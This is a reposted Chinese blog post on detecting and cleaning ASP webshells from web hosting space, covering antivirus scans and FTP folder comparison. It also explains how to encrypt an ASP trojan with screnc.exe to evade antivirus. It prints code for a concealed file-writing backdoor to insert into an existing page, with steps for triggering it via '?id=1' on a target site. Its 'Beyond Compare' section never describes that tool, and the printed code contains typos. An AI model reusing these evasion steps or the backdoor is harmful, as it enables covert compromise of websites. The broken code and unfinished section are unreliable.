前一段时间以来,动网爆出了好几个重量级别的漏洞,个个都能导致入侵者在web空间中放置asp木马,asp木马可是网站管理员非常头疼的东西,它隐蔽性高、功能强,再加上不断翻新的种类来逃避杀毒软件,一旦web空间被放置了不同种类的asp木马,那么清除起来非常麻烦,很多朋友在细心整理web空间之后,仍然将asp木马驱之不尽,只有更换了全部的web文件,非常无奈!

  网上的一些防范asp木马的教程都基于提前防范的基础之上,例如:禁止FSO,利用NTFS限制用户目录等等。这些方法虽然有效,但是都是基于提前防范的,而且对于一般的买空间来做网站的朋友来说显然不可能。我在这里讲讲如何有效的发现web空间中的asp木马并清除。

  通过帮朋友整理web空间摸索出了一些技巧,这些技巧还挺管用,不敢独享,拿出来共享。

  一.技巧1:杀毒软件查杀

  一些朋友可能在成功得到上传权限之后,上传的asp木马是一些非常有名的asp木马,例如:cmdasp,海洋顶端木马,这些木马虽然功能强大,但是早已经被杀毒软件列入了黑名单,所以利用杀毒软件对web空间中的文件进行扫描,可以有效的发现并清除这些有名的asp木马。这是我利用瑞星杀毒软件在web目录中查杀到的一个asp木马,木马标注为:Script.ASP.Rootkit.10.a,在瑞星的网站上搜索一下,可以知道这就是海洋顶端木马。

  利用这种方法,可以有效的对抗一些小菜上传的asp木马,效果明显。

  二.技巧2:FTP客户端对比

  上面的方法虽然对菜鸟入侵者比较管用,但是遇到稍微有点意识的入侵者来说,几乎失去效果,因为他们完全可以对asp木马进行伪装,加密,使其躲藏杀毒软件,这样的手法比较多,我个人比较喜欢微软开发个的一个asp加密小工具:screnc.exe,screnc.exe是一款ASP加密程序,加密的程式比较安全,使代码完全改变,使用也非常简单。只需要在命令下输入:

  screnc.exe,得到帮助命令:Usage: screnc [/?] [/s] [/f] [/xl] [/l ScriptLanguage] [/e DefaultExtension] 〈source〉 〈destination〉,根据提示,只需要输入:screnc.exe 要加密的asp木马名 输出的asp木马名,就可以完成加密伪装。

  经过加密之后,记事本打开查看,可以看到标签:〈% ……%〉,〈script〉〈/script〉

  等标签内的代码成为一些“乱码”,而杀毒软件查杀asp木马是通过搜索关键字来查杀,着阿姨能够显然就躲过查杀。

  盛大官方网站被黑,挂的网页木马代码就是利用screnc.exe来加密的,过了好几天才被发现,可见加密伪装手法的高超。

  所以要采取另外的措施对付这种加密伪装的asp木马,我们可以利用一些FTP客户端软件(例如cuteftp,FlashFXP)提供的文件对比功能,通过对比FTP的中的web文件和本地的备份文件,发现是否错出可疑文件。

  这里以FlashFXP进行操作讲解。

  步骤1:打开FlashFXP,在左边窗口中跳转到本地web备份文件目录,在右边的FTP窗口中跳转到web目录下。

  步骤2:点工具栏中的“工具”,选择其中的“比较文件夹命令”,即可进行对比文件夹,速度非常快。

  我们可以清楚的看到196个对象被过滤,在FTP空间中多出了这样几个asp文件:.asp,2005.asp等,这十有八九就是入侵者留下的asp后门,打开确认一下即可。

  三.技巧3:用Beyond Compare 2进行对比

  上面的利用FTP客户端对比文件的方法,虽然有效,但是遇到渗透入文件的asp木马,那就无能为力了,这里介绍一款渗透性asp木马,可以将代码插入到指定web文件中,平常情况下不会显示,只有使用触发语句才能打开asp木马,其隐蔽性非常高。代码如下:

  〈%

  on error resume next

  id=request("id")

  if request("id")=1 then

  testfile=Request.form("name")

  msg=Request.form("message")

  set fs=server.CreatObject("scripting.filesystemobject")

  set thisfile=fs.openTestFile(testfile,8,True,0)

  thisfile.Writeline(""&msg&"")

  thisfile.close

  set fs=nothing

  %〉

  〈from method="post" Action="保存"?id=1〉

  〈input type="text" size="20" name="Name"

  Value=〈%=server.mappath("XP.ASP")%〉〉

  〈textarea name="Message" class=input〉

  ?

  〈/textarea〉

  〈input type="Submit" name="send" Value="生成"

  class=input〉

  〈/from〉

  〈%end if%〉

  注意:在修改目标主机的web文件时,要注意这样的文件修改后没有效果,即含有类似于:〈!--#include file="inc/conn.asp"--〉这样的文件包含命令,这样的代码存在时,加入asp代码后根本不会显示出脚本后门,但是脚本后门代码不会影响原文件的显示和功能。

  假如已经对目标服务器[url]www.target.com[/url]下的一个editor_InsertPic.asp文件进行了修改,插入了脚本后门代码,那么打开的方式是:www. target..com/editor_InsertPic.asp?id=1,注意后门的字符?id=1,有了这些字符,才能保证脚本后门显示出来!普通情况下打开www. target..com/editor_InsertPic.asp?id=1,是不会露出破绽的。

  本文转自starger51CTO博客,原文链接:http://blog.51cto.com/starger/20163?,如需转载请自行联系原作者

 
目前共有0条评论
  • 暂无Trackback
你目前的身份是游客,评论请输入昵称和电邮!